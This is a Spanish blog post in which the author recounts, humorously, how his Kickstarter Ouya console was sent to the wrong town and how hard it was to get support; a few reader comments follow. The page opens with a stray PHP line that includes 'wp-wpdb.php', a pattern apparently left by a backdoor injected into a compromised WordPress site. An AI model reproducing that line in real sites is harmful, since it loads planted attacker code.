if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Mi Ouya está en otro castillo (O porqué no participar en un crowdfunding) – La Fortaleza de LeChuck

Mi Ouya está en otro castillo (O porqué no participar en un crowdfunding)

Hace un año que comenzó la vorágine financiadora de Kickstarter (Al menos en el ámbito de los videojuegos). Todo son ventajas si eres «baker»(Suicida que invierte dinero en algo que todavía no existe) y todo pinta de color de rosa, vas a pagar menos por un juego/gadget/producto interesante que cuando salga realmente a la calle, y la fe de la gente en el proyecto hace que sea posible alcanzar suficiente dinero para llevarlo a cabo. Como soy un tipo al que a parte de los videojuegos, le gusta mucho la tecnología, decidí dejarme llevar por el hype y apostar por las ideas de esta consolilla. Pensé «Seguro que a malas por 90€ tengo un cacharro en la tele para trastear con emuladores o como centro multimedia». Todo pintaba realmente bien. Y claro, como eres una persona importante, porque has ayudado a que el proyecto siga adelante, recibirás la consola en exclusiva antes de ponerla a la venta. Cuando algo ha tenido éxito también comporta un auténtico atasco para que todo vaya como debe de ir, y comienzan a surgir problemas previsibles. Mi Ouya está en otro castillo, y mi dinero lo tiene Bowser.

Y de eso hace unas siete u ocho semanas, creo que algo más. Unas semanas desde que Ouya tenía que estar en mi casa. Unas semanas desde que me enviaron el mail de confirmación con una dirección errónea donde me pedían que contestase si había algún problema, el cual, obviamente, contesté con la dirección correcta. 
Te envían un número de seguimiento DHL International, y piensas «Bien, ahí llega mi Ouya», y como los primeros días todavía no te dan información sobre el envío usando ese número, piensas «Lo típico, han imprimido las etiquetas pero todavía no se han llevado el paquete». Cuando sale por fin la información (Todo debidamente informado por ellos a través del Mailing de Kickstarter), te das cuenta de algo. ESA DIRECCIÓN ES ERRÓNEA. Misma calle, mismo número, misma provincia, pero espera, no es tu población. Existe tu calle en otra población, pero no es la tuya, y tu no has puesto eso. Tragas saliva.
No le das importancia «Estas cosas pasan». Por tanto coges y les envías un email. Eres un tío paciente, con experiencia en compras Online. Incluso en compras internacionales. Pero no obtienes respuesta en tres días, mientras los ves felizmente en su cuenta de Twitter anunciando juegos y tal. La rabia se apodera de ti, y comienzas a investigar. No eres el único que tiene problemas con la recepción de su Ouya, pero todos, todavía entrábamos en la fase, según ellos, de «Normal, está en proceso». Eso lo leo en respuestas por Twitter a gente preguntando. Mientras, comprobaba el correo y seguían llegándome Mailings de Ouya en Kickstarter, donde anunciaban retrasos en la entrega de las Ouyas y tal. Vale, comprensible todo, pero «Oye, es que mi problema es que la dirección de entrega es errónea».

Claro, si al menos supiera que cuando llegue, llegará a mi dirección, pues es simplemente hacer vida hasta que un día piquen a tu puerta «Hola tenemos un paquete para Guybrush Threepwood». Pero no es así, mi Ouya no está enviándose a la dirección correcta.
A raíz de los problemas con los envíos y las quejas de algunos «Bakers», habilitan un mail especial «Savetheprincess@ouya.tv«. Recochineo. Pues venga, «Vamos a salvar a la princesa» -me dije yo, que me las prometía muy felices-. «No contestan al mail principal, pero han habilitado uno especial, esto es pan comido ya». Pues no. Ese email también tenía que estar tortuosamente saturado, porque no, tampoco obtuve respuesta. Esperé otros dos días, y volví a reenviar el mail. Ya no decía nada diferente, ni tan solo copiaba y pegaba, solo reenviaba el email. A partir de aquí la papeleta la tenían ellos conmigo, yo paso de preocuparme más.
Mientras tanto, también hice mis pinitos en que alguien les diera la tabarra por otro lado. Llamé a DHL España, que suponía poco podían hacer respecto a que la dirección no era la mía, pero si esperaba quizás un toque de atención por parte de ellos al emisor del paquete. Desgraciadamente ellos «Ni tan siquiera pueden ver el estado de ese número de pedido». Es decir, no se que empresa en España debería darme el paquete. Ellos envían via DHL International, pero no tiene nada que ver con DHL España. Pues me parece muy bien oye ¡Como os lo montáis!. Esperaba al menos, algo de información de con quien ponerme en contacto en cuanto al envío. Pero nada, calabazas me llevaba por este lado también.

Una mañana, me despierto y tras ver otro Mailing List de Ouya en Kickstarter anunciado nuevos juegos exclusivos, me digo a mi mismo «Voy a mirar el pedido del envío a ver que pone», esperando no se, devolución (Uff lo que me va tardar en llegar si tienen que devolverla y luego enviármela de nuevo), o quizás una mucho más esperanzadora corrección de la dirección. Nada, nada, mucho mejor. Mi Ouya ha llegado a la dirección errónea y ha sido perfectamente recibida. Si, señores. Mi misma calle, mi mismo número de portal, mi mismo piso, pero en otra población está disfrutando de mi Ouya, y posiblemente se llama «Guybrush» igual que yo, porque habrá firmado sin miedo para admitir el paquete como suyo. Tardó poco en salirme espuma por la boca y cagarme en todas las Ouyas, Kickstarters y crowdfunding del mundo.
Me fui a Paypal buscando el historial del pago de la consola para pedir la devolución de mi dinero.»Resulta que un posible clon mío está disfrutando de mi Ouya, pues vive en mi misma calle, mismo número y mismo piso, además de que posiblemente haya firmado como si fuera yo mismo «Guybrush Threepwood», el pirata más temido del Caribe». Nada, no pagué por Paypal. Busqué el historial del «Maldito día en que me animé a financiar esa Ouya » en mi correo, y sí, el pago estaba hecho a través de «Amazon Payments». Así que, bueno, también reclamé por ahí, pensando, pobre de mí «Estos se ríen en mi cara, un pago del año pasado reclamando ahora que no le ha llegado el producto». Vamos, que no tenía muchas esperanzas. Claro ¿Como leches reclamas que algo «comprado» por Crowdfunding no te ha llegado, si la propia empresa encargada no te hace ni caso?.

Esperé días, a que me llegara un email de Amazon, Ouya, DHL, mi clon (Que como sabéis, vive en mi misma calle, mismo número, mismo piso y además se llama igual que yo «¡Que ganas tengo de conocerle!»). Busqué esa dirección errónea en al cual han recibido mi Ouya, ya dándole vueltas al asunto, en Google Maps, y «bien, tiene hasta Street View». ¡Que guay! Mi misma calle, en la población «Scabb», está en un barrio de la muerte de mi provincia «El Caribe».

Se me pasó varias veces por la cabeza ir allí y hacerme pasar por DHL. Picar a la puerta y decir «Buenas, resulta que nos equivocamos el otro día con la dirección ¿Habéis abierto el paquete? ¿Sí, verdad?» sacar una escopeta y cargarme a todo dios. (Ostras, espero que no me rastreen desde EEUU por esto y me detengan, a ver, que es una broma gente, una broma).
No en serio, solo se me pasó por la cabeza una vez pasar por allí y recoger mi Ouya. Pero ni es mi trabajo, ni sería legal, así que me limité a seguir esperando. La pelota la tenían ellos, y ya tenía claro que haría este extenso artículo de rabieta quejándome de la Ouya, del crowdfunding y su madre. Y mira que yo estaba ilusionado en su día, pero es que hasta mi ídolo Tim Schafer ya se aprovecha sin medida de la gente.

A medio escribir de este artículo (Bueno, en realidad solo llevaba el primero párrafo), me llega un email. «WOOOOOW, ¡Si los de la Ouya no se han ahogado entre billetes! ¡Están vivos y contestan el primer email UN MES DESPUÉS!». Me dicen que lo sienten «bla, bla, bla». Creen que mi problema es que no me ha llegado, y no es solo eso, si no que mi Ouya la tiene mi clon que vive en la misma calle, mismo… Eso que ya sabéis. Me comentan que les de la dirección correcta (Como hice la primera vez en la Kickstarter, comprobado) y que lo lamentan, que me entienden y que en una semana me la envían
En conclusión, me va a llegar mi Ouya, si LeChuck quiere, dos meses después, no del envío a los «bakers» de Kickstarter, sino del lanzamiento real en EEUU de Ouya y al mismo precio. Es decir, muchísima gente la tiene y yo, que se supone, era de los de un trato preferencial, la recibiré en dos meses. Se ha anunciado que a los que todavía no han recibido su Ouya, de entre los «Kickstarters» (Vamos, que somos varios con problemas similares) se les hará entrega de un bono para comprar en la tienda de 13,37$. «Qué apropiado, tú peleas como una vaca».

Al menos se van anunciando, mientras tanto juegos, interesantes. Se completa el catálogo, y los primerizos están haciendo de testeadores. Me habría gustado ser un «tester» más, y vivir las primeras horas de Ouya, hacer un unboxing para nuestro canal de Youtube, y también grabar algún gameplay. Pero no pude, porque mi Ouya está en otro castillo.
PD: Después de ver Towerfall me dan ganas de pedirles otro mando para jugar con Elaine. Soy Guybrush Threepwood ¡Un gran pirata!

PD: La gente que ha pedido devolución del dinero por los problemas logísticos se lo han devuelto sin problemas. Yo la quiero, sigo viéndole potencial al bicho.
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Actualización 22/08/2013

¡Atención, atención! Mi Ouya, 17 días después, está en mi casa. Una nueva Ouya, claro, aquella se la quedó Bowser. Aquí tenéis el Unboxing y muy pronto opinión y gameplays por doquier.



Publicada el
Categorizado como Opinión

Por Museboy

Como la mayoría de vosotros, crecí jugando a videojuegos y ahora intento transmitir toda la pasión por este mundo en La Fortaleza de LeChuck. También busco ofertas de videojuegos. Seguidme en Twitter y sabréis de qué hablo.

3 comentarios

  1. Vaya historia, te entiendo perfectamente porque habitualmente soy de comprar bastante por internet. Te ha pasado TODO o CASI TODO lo que podía pasarte. Joer me recuerda a la tablet que me llegó hace unas semanas, sufriendo para que me llegase y cuando me llega …ni se enciende. Semana y pico mas de espera!
    Ánimo y a disfrutar cuando llegue!
    Ya comentaréis que tal por si me da por ….

  2. yo veo potencial a la idea, no al bicho, espero que mojo lo haga mucho mejor. El gran problema d Ouya es capar play store.

    Mi código lo he regalado antes por twitter, no me voy a molestar a volver a sacarla de la caja, supongo que ya lo habrá usado alguien, pero podeis probar con el hash #ouyafail 😉

    Me interesan dos juegos, solo pagaria por uno de ellos, el de la torre, y

  3. Dices que "La gente que ha pedido devolución del dinero por los problemas logísticos se lo han devuelto sin problemas". ¿Podrías decirme cómo lo han hecho?
    A mi la única vez que se han dignado a contestarme por los ocho o nueve correos que les he enviado para pedirles que se queden con el aparatito de marras y me devuelvan el dinero ha sido para darme largas y decir que esta en

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